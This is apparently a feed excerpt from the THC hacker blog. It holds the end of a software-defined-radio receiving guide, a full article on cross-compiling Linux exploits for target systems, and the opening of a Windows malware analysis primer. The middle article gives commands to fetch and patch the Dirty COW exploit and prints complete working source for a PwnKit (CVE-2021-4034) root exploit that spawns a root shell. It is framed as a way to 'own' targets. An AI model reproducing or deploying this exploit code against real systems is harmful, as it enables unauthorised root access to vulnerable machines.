<p>to name only a few. We also see certain, similar messages either coming from the same POCSAG address or an apparent group of neighboured addresses and are easily able to grep for certain content or addresses as a first step of sorting and inspection. At this point, we can also be pretty sure that we are able to listen to nationwide text paging messages.</p>
<h2 id="heading-0x06-ads-b">0x06 ADS-B</h2>
<p>Being curious about what else might be out there, I continued to inspect <a target="_blank" href="https://en.wikipedia.org/wiki/Automatic_Dependent_Surveillance%E2%80%93Broadcast">ADS-B</a> to see if I would be able to receive information similar to the one presented at sites like https://flightradar24.com. ADS-B globally operates mostly at a predefined frequency of 1090MHz. Again, we split the process of displaying relevant data into</p>
<ul>
<li>setting the tuner, receiving and collecting the data</li>
<li>export/pipe that into a sort of decoder</li>
</ul>
<p>which is why I wrote two skripts:</p>
<p><code>ADS-B_cap.sh: rtl_adsb | nc -klnvp 8080</code></p>
<p>This tunes to 1090MHz and exports received data to a netcat listener on port 8080, whereas</p>
<p><code>ADS-B_view.sh: modeslive --source net --connect localhost 8080 raw</code></p>
<p>connects to that netcat listener and decodes the data using the <code>modeslive</code> command that we installed via pyModeS earlier.</p>
<p>Output might look similar to:</p>
<p><code>3c5eec  EWG9726_  50.29134   2.84372         444                    1088    148.06</code></p>
<p>and mostly includes the callsign, GPS positions, groundspeed and so on. There are tons of articles on the internet on how to further visualize such data on a map, looking up the callsigns in a database of actual airplanes etc. which is exactly what sites like flightradar24 do. You can even easily export your own data to their servers to help in painting a more complete overall picture.</p>
<h2 id="heading-0x07-ais">0x07 AIS</h2>
<p>Living close to a river, I decided to checkout if those ships also emit data, and guess what, their system is called <a target="_blank" href="https://en.wikipedia.org/wiki/Aeronautical_Information_Service">Aeronautical Information Service (AIS)</a> and thanks to more FOSS, we are of course able to receive and decode this as well. This time, we use a standalone binary we installed via git and call it via another script:</p>
<p><code>AIS.sh: AIS-catcher -u 127.0.0.1 10101 | tee -a AIS.LOG</code></p>
<p>Output might look like</p>
<p><code>!AIVDM,2,1,0,A,539dbM400000@K?O3@1=@4AB0PDTh98tpp00000D1@111t000030EAQQ,0*3C ( MSG: 5, REPEAT: 0, MMSI: 211495540)</code></p>
<p>By using the <code>-u</code> switch, we again open up a UDP service from which we can export collected data to some form of frontend like <a target="_blank" href="https://www.opencpn.org/">OpenCPN</a> which plots the found vessels on a map and offers a target query which includes </p>
<ul>
<li>the ship's name</li>
<li>its length</li>
<li>cargo</li>
<li>GPS position</li>
<li>destination</li>
<li>ETA at destination</li>
</ul>
<p>AIS seems to have a radius of about 75km and has a rather weak signal strength, but I can imagine that close to the sea you might get some quite interesting results. <em>(Note: Some years ago, rumors spread that somalian pirates were able to choose the vessel based on its cargo, which might be not that far fetched.)</em></p>
<h2 id="heading-0x08-sensor-data-srdism">0x08 Sensor Data (SRD/ISM)</h2>
<p>The next thing that I was interested in were all these weather stations and their sensor data, and sure enough, we got everything we need already installed. </p>
<p>Some of the <a target="_blank" href="https://en.wikipedia.org/wiki/ISM_radio_band">ISM bands</a> are located at 433.92MHz, 868MHz (<a target="_blank" href="https://en.wikipedia.org/wiki/Short-range_device#SRD860">SRD</a>), 315MHz and 915MHz.</p>
<p>Instead of checking weather sites or checking my own analogue or digital thermometer, I could simply receive that informations from some random weather station of another house in proximity:</p>
<p><code>cat SENSOR_868.sh: rtl_433 -f 868M -s 1024k</code></p>
<p>resulting in output like:</p>
<p><code>Battery   : 1            Temperature: 16.7 C       Humidity  : 90 %          Wind direction: 14        Wind speed: 0.0 m/s       Gust speed: 0.0 m/s       Rainfall  : 799.8 mm      UV        : 18            UVI       : 0             Light     : 1968.0 lux</code></p>
<p>There are tons of other device decoding protocols implemented of which already most are loaded by default after startup:</p>
<p><code>Registered 145 out of 175 device decoding protocols [ 1-4 8 11-12 15-17 19-21 23 25-26 29-36 38-60 63 67-71 73-100 102-105 108-116 119 121 124-128 130-149 151-161 163-168 170-175 ]</code></p>
<p>and which might make it very interesting to scan other frequency ranges for such data as well as do some sort of wardriving.</p>
<h2 id="heading-0x09-advanced-recon">0x09 Advanced Recon</h2>
<p>When running <code>gqrx</code>, it becomes pretty clear that it can only show you a small portion of the radio spectrum, which is perfectly good if you know what you are looking for in a sort of "live" setup. However, if we want to observe a broader area and at the same time cover a greater time period, then we can use the very handy <a target="_blank" href="http://kmkeen.com/rtl-power/">rtl_power</a> utility. I recommend to write different scripts for different purposes, e.g.</p>
<p><code>RTLPOWER_AIRBAND.sh: rtl_power -f 118M:137M:8k -g 50 -i 10 -e 1h airband.csv</code></p>
<p>which will monitor the whole <a target="_blank" href="https://en.wikipedia.org/wiki/Airband">airband</a> spectrum in 8KHz steps and save the data every 10 seconds in a CSV file over a period of one hour. To visualize that data, the <a target="_blank" href="https://github.com/keenerd/rtl-sdr-misc/blob/master/heatmap/heatmap.py">heatmap.py</a> utility comes into play which we can use in a script like</p>
<p><code>BUILDMAP.sh: python3 heatmap.py $1.csv $1.png ; display $1.png</code></p>
<p>to generate a very nice image together w/ a nice scale to identify where transmissions take place.</p>
<p>In the airband case, you will see active radio transmissions by the pilots as bright dots, and this might greatly help you in spotting the active frequencies in your area, which you can then survey live and listen in using <a target="_blank" href="https://en.wikipedia.org/wiki/Frequency_modulation#narrowband_FM">NFM</a> modulation.</p>
<p>In the case of POCSAG, the periodically occuring transmits create nice dashed lines which are - depending on the signal strength - also very easy to spot in the resulting image.</p>
<h2 id="heading-0x0a-references">0x0A References</h2>
<ul>
<li>https://www.gnuradio.org/</li>
<li>https://osmocom.org/projects/rtl-sdr/wiki</li>
<li>https://gqrx.dk/</li>
<li>https://github.com/EliasOenal/multimon-ng</li>
<li>http://sox.sourceforge.net/</li>
<li>https://github.com/junzis/pyModes</li>
<li>https://github.com/merbanan/rtl_433</li>
<li>https://github.com/cjcliffe/CubicSDR</li>
<li>https://github.com/librtlsdr/librtlsdr</li>
<li>https://www.opencpn.org/</li>
<li>https://www.rtl-sdr.com/</li>
</ul>
<h2 id="heading-0x0b-epilogue">0x0B Epilogue</h2>
<p>To learn about the things documented here, I used my SDR receivers for ~ 2 weeks besides my normal work. I assume that I will extend and update this knowledge base over time as I consider the whole project work-in-progress. </p>
<p>Shoutz to Skyper/THC for creating this wiki besides having written and still writing great pieces of S/W, the 1nf1n1te v01d crew and Phenoelit (ph-neutral rocked!). It is nice to see a great community of free and open source software developers and hackers spread but still co-working all over the world and participating in global online-events like the <a target="_blank" href="https://media.ccc.de/b/conferences/rc3">rc3</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Cross Compiling Exploits]]></title><description><![CDATA[TL;DR: Use docker & QEMU and gcc -static.

It is not always possible to compile an exploit on the target system. Here at THC we use various methods to compile an exploit in such a situation.
After reading this article you will be able to compile any ...]]></description><link>https://iq.thc.org/cross-compiling-exploits</link><guid isPermaLink="true">https://iq.thc.org/cross-compiling-exploits</guid><dc:creator><![CDATA[root]]></dc:creator><pubDate>Wed, 07 Sep 2022 12:13:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1682084581283/8f795bd0-0021-4ab2-bb0e-5550ad96b52e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<hr />
<h2 id="heading-tldr-use-docker-amp-qemu-and-gcc-static">TL;DR: Use docker &amp; QEMU and <em>gcc -static</em>.</h2>
<hr />
<p>It is not always possible to compile an exploit on the target system. Here at THC we use various methods to compile an exploit in such a situation.</p>
<p>After reading this article you will be able to compile any exploit for any Linux/Architecture regardless of the OS/Architecture you are on.</p>
<h1 id="heading-compiling-statically">Compiling statically</h1>
<blockquote>
<p>This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is identical to our architecture (x86_64).</p>
</blockquote>
<p>The standard <code>GNU libc</code> is not suitable for compiling static binaries. Instead we use <code>MUSL libc</code>. The MUSL libc is a C standard library just like GNU's libc. It's smaller, cleaner and easier to handle.</p>
<p>Alpine Linux comes with musl libc. We use Docker to run Alpine Linux.</p>
<pre><code class="lang-console">$ docker run --rm -v $(pwd):/src -w /src -it alpine
/src # apk update &amp;&amp; apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c
</code></pre>
<h1 id="heading-cross-compiling-statically">Cross Compiling statically</h1>
<blockquote>
<p>This works well for exploits that can be compiled statically and where the target is any Linux and the architecture is <em>DIFFERENT</em> to our architecture (x86_64).</p>
</blockquote>
<p>The fine folks at https://musl.cc/ maintain cross-compiler toolchains against MUSL libc for many different architectures.</p>
<p>These toolchains can be used to generate a (static) Linux binary for a different architecture (e.g. arm6v or aarch64).</p>
<p>The MUSL-CC folks also maintain Docker Images with the cross-compiler toolchain: This allows us to cross compile <em>STATIC</em> binaries (for a different architecture) for Linux.</p>
<h2 id="heading-cross-compiling-statically-using-muslcc-amp-docker">Cross Compiling statically using muslcc &amp; Docker</h2>
<p>Let's compile the exploit for <a target="_blank" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195">CVE-2016-5195</a> to run on Raspberry PI Linux (armv6l) while our workstation is MacOS (x86_64).</p>
<p>The vulnerability is a local privilege escalation in Linux Kernel &lt;4.8.3.</p>
<p>Firstly, there is a bug in the reference exploit. Let's fix this first:</p>
<pre><code class="lang-shell">mkdir thc; cd thc
wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
sed  -i 'sX.*= copy_file.*Xint ret = system("cp /etc/passwd /tmp/passwd.bak");X' dirty.c
</code></pre>
<p>Next: Compile dirt.c for Linux for armv6 architecture on our MacOS (x84_64):</p>
<pre><code class="lang-shell">docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:armv6-linux-musleabi sh -c "gcc -pthread dirty.c -o dirty-exp -lcrypt -static"
</code></pre>
<p>The newly created <code>./dirty-exp</code> binary will execute on a Raspberry Pi Linux (armv6l).</p>
<h2 id="heading-cross-compiling-statically-for-5-architectures">Cross Compiling statically for 5 architectures</h2>
<p>Let's script this and compile for 5 different architectures:</p>
<pre><code class="lang-shell">for arch in aarch64-linux-musl armv6-linux-musleabi mips-linux-muslsf mips64-linux-musl x86_64-linux-musl; do
   docker run --rm -v $(pwd):/src -w /src muslcc/x86_64:${arch} sh -c "gcc -pthread dirty.c -o dirty-exp.${arch} -lcrypt -static"
done
</code></pre>
<p>Most architectures are <em>downward compatible</em>. This means an exploit compiled for arm6 will run fine on arm7 metal. Equally an exploit compiled for i386 (from the 90s) will run fine on x86_64 metal, albeit slow.</p>
<pre><code class="lang-console">$ ls -al dirty-exp.*
-rwxr-xr-x 1 0 0 170664 Aug 30 14:06 dirty-exp.aarch64-linux-musl
-rwxr-xr-x 1 0 0 119280 Aug 30 14:06 dirty-exp.armv6-linux-musleabi
-rwxr-xr-x 1 0 0 210384 Aug 30 14:06 dirty-exp.mips64-linux-musl
-rwxr-xr-x 1 0 0 210692 Aug 30 14:06 dirty-exp.mips-linux-muslsf
-rwxr-xr-x 1 0 0  88312 Aug 30 14:06 dirty-exp.x86_64-linux-musl
</code></pre>
<p>All binaries are static binaries. They run on any Linux system regardless of the distribution or Linux flavour (as long as the architecture matches).</p>
<h2 id="heading-cross-compiling-statically-with-additional-libraries">Cross compiling statically with additional libraries</h2>
<p>Some exploits need additional libraries to compile or have more complex compilation instructions. Let's pick the OpenSSL library as a worst case scenario: A huge and complex library. We use the dirt.c source again even that it does not depend on or need OpenSSL.</p>
<p>Let's start an interactive (<em>-it</em>) muslcc docker shell, download and compile OpenSSL and then compile the exploit for ARM6:</p>
<pre><code class="lang-shell">docker run --rm -v $(pwd):/src -w /src -it muslcc/x86_64:armv6-linux-musleabi
apk update \
&amp;&amp; apk add --no-cache bash perl make curl \
&amp;&amp; rm -rf /var/cache/apk/* \
&amp;&amp; curl https://www.openssl.org/source/openssl-1.1.1k.tar.gz | tar -xz \
&amp;&amp; mkdir usr \
&amp;&amp; cd openssl-1.1.1k \
&amp;&amp; ./Configure --prefix=/src/usr no-tests no-dso no-threads no-shared linux-generic64 \
&amp;&amp; make install_sw \
&amp;&amp; cd .. \
&amp;&amp; gcc -I/src/usr/include -L/src/usr/lib -pthread dirty.c -o dirty-exp -lcrypt -lcrypto -lssl -static
</code></pre>
<h1 id="heading-compiling-normally">Compiling normally</h1>
<blockquote>
<p>This works well for exploits that can not be compiled statically.</p>
</blockquote>
<h2 id="heading-exploits-that-can-not-be-static">Exploits that can not be static</h2>
<p>Some exploits can not be compiled statically.</p>
<p>For example: Exploits that are shared object .so files and which the vulnerable program needs to load during runtime. It is not possible to cross-compile them: The .so files heavily depend on the Application Binary Interface (ABI) of the target system.</p>
<p>The ABI is the reason why you can not just execute a (dynamic) binary from a libmusl system on a libc system or vice versa.</p>
<p>These exploits need to be compiled on the matching OS with matching architecture.</p>
<h2 id="heading-compiling-normally-for-any-linuxarchitecture">Compiling normally for any Linux/Architecture</h2>
<p>In our example we try to compile an exploit that needs a shared library (and thus can not be statically compiled) for aarch64 (aka arm64v8) to run on Amazon Linux 2 (which is based on Centos7 OS).</p>
<p>There are a few methods to pick from:</p>
<ol>
<li><p>Use an Amazon Linux 2/aarch64 instance.</p>
</li>
<li><p>Find a server of the same architecture and use Docker to run Centos7.</p>
</li>
<li><p>Use QEMU and Docker to run any OS of any architecture.</p>
</li>
</ol>
<p>Either of the methods will work but only if the target is running Linux.</p>
<h3 id="heading-method-1-using-amazon-linux-2aarch64">Method 1 - Using Amazon Linux 2/aarch64</h3>
<blockquote>
<p>This works well when the target OS and architecture is available to compile the exploit.</p>
</blockquote>
<p>AWS has a good selection of Linux flavours (Amazon Linux, Ubuntu, Red Hat, SuSE and Debian) that can run on either x86_64 or aarch64/ARM64 architecture. Mostly we run a t2.nano on the matching architecture and a matching OS to compile exploits. It's the easiest and most straightforward.</p>
<h3 id="heading-method-2-use-any-aarch64-with-docker-running-centos7">Method 2 - Use any aarch64 with Docker running Centos7</h3>
<blockquote>
<p>This works well when Linux OS is <em>DIFFERENT</em> but the architecture is idendical.</p>
</blockquote>
<p>Start a Docker image matching the target's OS. In this example I'm on a aarch64 server running Debian but my exploit needs to be compiled for Amazon Linux 2 (aka Centos7). Both, my architecture and the target's architecture, are aarch64.</p>
<pre><code class="lang-console">$ uname -m
aarch64
$ docker run --rm -v $(pwd):/src -w /src -it centos:centos7
[root@9409baa1861a src]#
</code></pre>
<h3 id="heading-method-31-qemu-and-docker">Method 3.1 - QEMU and Docker</h3>
<blockquote>
<p>This works well when the Linux OS is <em>DIFFERENT</em> and the architecture is <em>DIFFERENT</em>.</p>
</blockquote>
<p>Docker can run images for <a target="_blank" href="https://github.com/multiarch/qemu-user-static">different architecture</a>. The execution is emulated by QEMU. The details are not noticeable to the user and 'docker just does it all for you'. Just to list a few: aarch64, arm, ppc64, m68k, sparc64, mips, alpha, ...</p>
<p>Firstly let's prepare Docker to run images of different architectures:</p>
<pre><code class="lang-console">if [ $(uname -m) == "aarch64" ]; then
    docker run --rm --privileged aptman/qus -s -- -p
else
    docker run --rm --privileged multiarch/qemu-user-static --reset -p yes
fi
</code></pre>
<p>Then let's run an aarch64 image (aka arm64v8) on our x86_64 host:</p>
<pre><code class="lang-console">$ uname -m
x86_64
$ docker run --rm -it arm64v8/centos
[root@0a0888cd5ea7 /]# uname -m
aarch64
</code></pre>
<p>That's aarch64 on our x86_64 host. QEMU and the OS are doing some good magic to make this work. For testing let us start a <code>sleep</code> process inside the running aarch64 docker image. Then we check on our x86_64 host system for the <code>sleep</code> process. It shows that the host's Linux started QEMU as an <em>interpreter</em> for <code>sleep</code> and did not start <code>sleep</code> directly. This means QEMU emulates the architecture:</p>
<pre><code class="lang-console">$ docker run --rm -t arm64v8/centos sleep 1337 &amp;
[1] 4042135
$ ps axw | grep qemu 
4046761 pts/0    Ssl+   0:00 /usr/bin/qemu-aarch64-static /usr/bin/coreutils --coreutils-prog-shebang=sleep /usr/bin/sleep 1337
$
</code></pre>
<h3 id="heading-method-32-compiling-statically-without-cross-compiler">Method 3.2 - Compiling statically without cross-compiler</h3>
<blockquote>
<p>This works well when the Linux OS is <em>DIFFERENT</em> and the architecture is <em>DIFFERENT</em> but there is no Docker Image for the target's Linux OS. We have no choice but to compile statically.</p>
</blockquote>
<p>In this example we like to compile an exploit for Raspberry PI4 that runs on arm32v6. There is no docker image for Raspberry PI4 for arm32v6. Instead there is a docker image for Alpine Linux for arm32v6. We use Alpine/arm32v6 to compile for Raspberry PI4/arm32v6.</p>
<p>The result will be identical as with <a class="post-section-overview" href="#cross-compiling-statically-using-muslcc--docker">Cross Compiling statically using muslcc &amp; Docker</a> but without using the cross compiler toolchain (muslcc).</p>
<p>Let's assume we like to compile for armv7 (Raspberry PI4) but not using a cross compiler (muslcc). Instead we can run an Alpine Linux with QEMU on Docker and emulating armv7 (and all this while our host system is MacOS/x86_64):</p>
<pre><code class="lang-console">$ docker run --rm -v $(pwd):/src -w /src -it arm32v6/alpine
/src # uname -m
armv7l
/src # apk update &amp;&amp; apk add gcc
/src # gcc -Wall -O2 -static -o exploit exploit.c
</code></pre>
<h1 id="heading-compiling-cve-2021-4034-for-centos7aarch64">Compiling [CVE-2021-4034] for Centos7/aarch64</h1>
<p><a target="_blank" href="https://github.com/arthepsy/CVE-2021-4034/">CVE-2021-4034</a> (aka polkit/pkexec) is an exploit that can not be compiled statically. The exploit tricks the vulnerable program to load a dynamically shared object (.so file) during runtime. A dynamically shared object can never be static.</p>
<h2 id="heading-preparing-the-exploit">Preparing the exploit</h2>
<p>The <a target="_blank" href="https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c">Proof-of-Concept exploit</a> for CVE-2021-4034 needs to be modified slightly. At the moment the exploit executes gcc to compile a shared object on the target. Our assumption is that gcc is not available on the target platform and thus the <a target="_blank" href="https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c">Proof-of-Concept exploit</a> would fail.</p>
<p>We need to modify the <a target="_blank" href="https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c">Proof-of-Concept exploit</a>:</p>
<ol>
<li><p>Split it into two separate .c files.</p>
</li>
<li><p>Modify the source to copy the pre-compiled .so file instead of calling gcc at runtime.</p>
</li>
<li><p>Compile both .c files separately.</p>
</li>
</ol>
<p>thc-polkit.c</p>
<pre><code class="lang-C"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>
<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">char</span> *argv[])</span> </span>{
    system(<span class="hljs-string">"mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"</span>);
    system(<span class="hljs-string">"mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' &gt; pwnkit/gconv-modules"</span>);
    system(<span class="hljs-string">"cp pwnkit.so pwnkit/pwnkit.so"</span>);
    <span class="hljs-keyword">char</span> *env[] = { <span class="hljs-string">"pwnkit"</span>, <span class="hljs-string">"PATH=GCONV_PATH=."</span>, <span class="hljs-string">"CHARSET=PWNKIT"</span>, <span class="hljs-string">"SHELL=pwnkit"</span>, <span class="hljs-literal">NULL</span> };
    execve(<span class="hljs-string">"/usr/bin/pkexec"</span>, (<span class="hljs-keyword">char</span>*[]){<span class="hljs-literal">NULL</span>}, env);
}
</code></pre>
<p>pwnkit.c</p>
<pre><code class="lang-C"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;unistd.h&gt;</span></span>
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">gconv</span><span class="hljs-params">()</span> </span>{}
<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">gconv_init</span><span class="hljs-params">()</span> </span>{
    setuid(<span class="hljs-number">0</span>); setgid(<span class="hljs-number">0</span>);
    seteuid(<span class="hljs-number">0</span>); setegid(<span class="hljs-number">0</span>);
    system(<span class="hljs-string">"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh"</span>);
}
</code></pre>
<h2 id="heading-compiling">Compiling</h2>
<p>Any of the 3 methods discussed earlier can be used to compile the exploit. In this example I use QEMU &amp; Docker on my MacOS/x86_64. The exploit will execute (and own) Amazon Linux on aarch64:</p>
<pre><code class="lang-console">$ docker run --rm -v $(pwd):/src -w /src -it arm64v8/centos
[root@0a0888cd5ea7 src]# uname -m
aarch64
[root@0a0888cd5ea7 src]# yum group install "Development Tools"
...
[root@0a0888cd5ea7 src]# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
[root@0a0888cd5ea7 src]#
</code></pre>
<p>Compile both source files:</p>
<pre><code class="lang-shell">gcc pwnkit.c -o pwnkit.so -shared -fPIC
gcc thc-polkit.c -o thc-polkit
</code></pre>
<p>Transfer <code>thc-polkit</code> and <code>pwnkit.so</code> to the target system and execute:</p>
<pre><code class="lang-console">$ ./thc-polkit
# id
uid=0(root) gid=0(root) groups=0(root)
#
</code></pre>
<h2 id="heading-compiling-when-distro-is-end-of-life">Compiling when Distro is End-Of-Life</h2>
<p>A good example is Centos6.8. There are two choices: Either install from the original Centos6.8 ISO into a VMBox or make the docker image work. Let's fiddle with the old docker image. Mostly we have to adjust the repo location so that yum can find the old gcc packages:</p>
<pre><code class="lang-console">$ docker run --rm -v $(pwd):/src -w /src -it centos:centos6.8
[root@c28872c1d9bc src]# sed -E -i  's/^(mirrorlist.*)/#\1/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# sed -E -i  's/^#(baseurl.*)mirror(.*)/\1vault\2/g' /etc/yum.repos.d/CentOS-Base.repo
[root@c28872c1d9bc src]# yum install gcc
[root@c28872c1d9bc src]# gcc pwnkit.c -o pwnkit.so -shared -fPIC
[root@c28872c1d9bc src]# gcc thc-polkit.c -o thc-polkit
</code></pre>
<p>That's it. The exploit will run on Centos6.8/x86_64.</p>
<h1 id="heading-closing-notes">Closing Notes</h1>
<p>So what if the target is not Linux? We use VirtualBox. We also run a private research lab with different hosts and architectures (real metal) and different Operating Systems.</p>
<p>There are some exploits that don't run well in Docker, a VirtualBox or QEMU. Namely exploits that rely on precise timing of the underlying hardware. Having a setup for testing that is as close as possible to the target's setup is ideal.</p>
<p>Useful command to find out the target's OS and architecture:</p>
<pre><code class="lang-shell">uname -a; lsb_release -a; cat /etc/*release /etc/issue* /proc/version
</code></pre>
<p>Summary</p>
<ol>
<li><p>Docker runs <em>Linux programs</em> of different flavours/distributions on a Linux host's kernel. The architecture must be the same and both must be Linux.</p>
</li>
<li><p>Virtual Machines run any Operating Systems (not just Linux) instead of just individual <em>Linux programs</em>. The architecture must be the same.</p>
</li>
<li><p>QEMU can 'translate' (emulate) a single program of different architecture and 'run' the program on the host's Kernel. The Operating System must be the same (Linux in our example). We have done so earlier when we configured the host's Kernel (Linux) to fire up QEMU whenever a Linux program of different architecture is trying to get executed. Normally such programs would not run (because they were not compiled for the host's architecture). For ease of use we made this mechanism available through Docker but QEMU is often run without Docker and run directly on the Linux Host. In either case a separate QEMU process is launched for every single program we start.</p>
</li>
<li><p>QEMU can also 'translate' (emulate) an OS Kernel in its entirety and simulate the underlying processor. It can 'run' an Operating System Kernel of a different architecture and 'translate' (emulate) every single instruction. This is different to 3. Very different. QEMU can 'boot an OS Kernel' and the Kernel then loads the userland processes (e.g. your shell etc). There is just QEMU process and QEMU is unaware of how many userland program the booted kernel loads.</p>
</li>
</ol>
<p>It's important to understand the difference between 3 and 4 (read <a target="_blank" href="https://en.wikipedia.org/wiki/QEMU#Operating_modes">QEMU Operating Modes</a>):</p>
<blockquote>
<p>QEMU can be used to run a single Linux Program (of different architecture) under Linux. It can also be used to 'boot a kernel' of a different architecture <strong>and</strong> different Operating System.</p>
</blockquote>
<p>For example you can use QEMU to <a target="_blank" href="https://opensource.com/article/18/3/can-you-run-dos-raspberry-pi">run DOS on an arm64 processor</a>.</p>
<p>An easier example is to run Raspberry PI OS (compiled for armv6l) through QEMU. QEMU boots the entire Raspberry PI Kernel (which then starts the rest of the RPI Operating System): The RPI kernel then starts all userland processes (your shell etc), unbeknown to them that QEMU emulates the underlying processor and unbeknown that QEMU 'translates' every single instruction.</p>
<p>Because QEMU is a bitch to set up we can use Docker to start QEMU to boot a Raspberry PI Kernel (from an .iso image/Install CD). Username/password is pi/raspberry.</p>
<pre><code class="lang-console">$ docker run -it lukechilds/dockerpi
Linux version 4.19.50+ (niklas@ubuntu) (gcc version 9.2.1 20191008 (Ubuntu 9.2.1-9ubuntu2)) #1 Tue Nov 26 01:49:16 CET 2019
CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
CPU: VIPT aliasing data cache, unknown instruction cache
OF: fdt: Machine model: ARM Versatile PB
...
[  OK  ] Started /etc/rc.local Compatibility.
[  OK  ] Started Permit User Sessions.
[  OK  ] Started Serial Getty on ttyAMA0.
[  OK  ] Started Getty on tty1.
[  OK  ] Reached target Login Prompts.
[  OK  ] Started Regenerate SSH host keys.

Raspbian GNU/Linux 10 raspberrypi ttyAMA0

raspberrypi login: pi
Password:
Linux raspberrypi 4.19.50+ #1 Tue Nov 26 01:49:16 CET 2019 armv6l
pi@raspberrypi:~$
</code></pre>
<p>*Note: I mentioned earlier that Docker is only available for Linux and can only execute Linux programs. However, Docker is available for MacOS and other Operating Systems. In layman's term: <a target="_blank" href="https://collabnix.com/how-docker-for-mac-works-under-the-hood/">Docker-for-Mac</a> effectively runs a minimal 'Linux' in a Virtual Machine (on MacOS) that then runs Docker-for-Linux.</p>
]]></content:encoded></item><item><title><![CDATA[Analysing Windows Malware]]></title><description><![CDATA[Introduction
This article deals with the analysis of a common Windows malware that targets users and steals information such as passwords, keystrokes, images from the camera, data saved in the browser, etc.
With the right combination of dynamic analy...]]></description><link>https://iq.thc.org/analysing-windows-malware</link><guid isPermaLink="true">https://iq.thc.org/analysing-windows-malware</guid><dc:creator><![CDATA[Deactivated User]]></dc:creator><pubDate>Thu, 01 Sep 2022 20:16:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1665958534947/6GWn0j60a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>This article deals with the analysis of a common Windows malware that targets users and steals information such as passwords, keystrokes, images from the camera, data saved in the browser, etc.
With the right combination of dynamic analysis and static analysis, it is possible to analyse an exploit and derive very interesting information... perhaps to reuse for our own exploits. :smiling_imp:</p>
<p>I analyse a very simple malware by stopping at a static analysis, which therefore does not involve execution of the exploit. The analysis will be done through a disassembler (more on that later) that will allow to 'disassemble' the malware and look inside of it.</p>
<p>Knowledge of assembly language or at least of the language in which the malware is written is usually required, I will provide a brief summary to help close the gap.</p>
<h2 id="heading-x86-assembly-primer-or-how-a-cpu-works">x86 assembly primer (or how a CPU works)</h2>
<p>Points to remember:</p>
<ol>
<li>In assembly you are given 8-32 global variables of fixed size to work with called 'registers';</li>
<li>Among them there are special registers like the program Counter, which tells the CPU which instruction we're executing next. Every time an instruction is executed, the Program Counter advance;</li>
<li>Virtually all computation is expressed in terms of simple operations on registers;</li>
<li>What doesn't fit into a register lives in memory;</li>
<li>Memory is accessed either with loads of and stores at addresses, as if it were a big array, or through PUSH and POP operations on a stack; </li>
<li>The stack is a LIFO (<em>Last In First Out</em>) data structure that stores local variables, memory for functions, control flow, return values;</li>
<li>There are 9 main registers in x86 assembly:<ol>
<li>EAX --&gt; Accummulator (Arithmetic)</li>
<li>EBX --&gt; Base (Pointer to data)</li>
<li>ECX --&gt; Counter</li>
<li>EDX --&gt; Data (Arithmetic and I/O)</li>
<li>ESI --&gt; Source Index (Pointer to source in stream operations) </li>
<li>EDI --&gt; Destination Index (Pointer to destination in stream operations)</li>
<li>EBP --&gt; Base pointer (Pointer to Base of Stack)</li>
<li>ESP --&gt; Stack Pointer (Pointer to Top of Stack)</li>
<li>EIP --&gt; Instruction Pointer (Address of next instruction to execute)</li>
</ol>
</li>
<li>There a register called the EFLAGS register. The EFLAGS register is the status register that contains the current state of a x86 CPU. The size and meanings of the flag bits are architecture dependent. It usually reflects the result of arithmetic operations as well as information about restrictions placed on the CPU operation at the current time. Some of these flags are important for malware analysis:<ol>
<li>CF --&gt; Carry Flag - Set when the result of an operation is too large for the destination operand;</li>
<li>ZF --&gt; Zero Flag - Set when the result of an operation is equal to zero. This one is probably one of the most important flag to look out for, for example an exploit might check if a machine is 64bit and if it is then it will jump to a certain addres, but if it isn't it will jump to a different address;</li>
<li>SF --&gt; Sign Flag - Set if the result of an operation is negative;</li>
<li>TF --&gt; Trap Flag - Set if step by step debugging (one instruction will be executed at a time;</li>
</ol>
</li>
<li>Instructions can be divided into three main categories:<ol>
<li>Data Transfer (mov,xchg,etc) --&gt; is used to move, transfer, and access data in registers, memory addresses, etc. {example of a mov operation: mov eax, [edx]};</li>
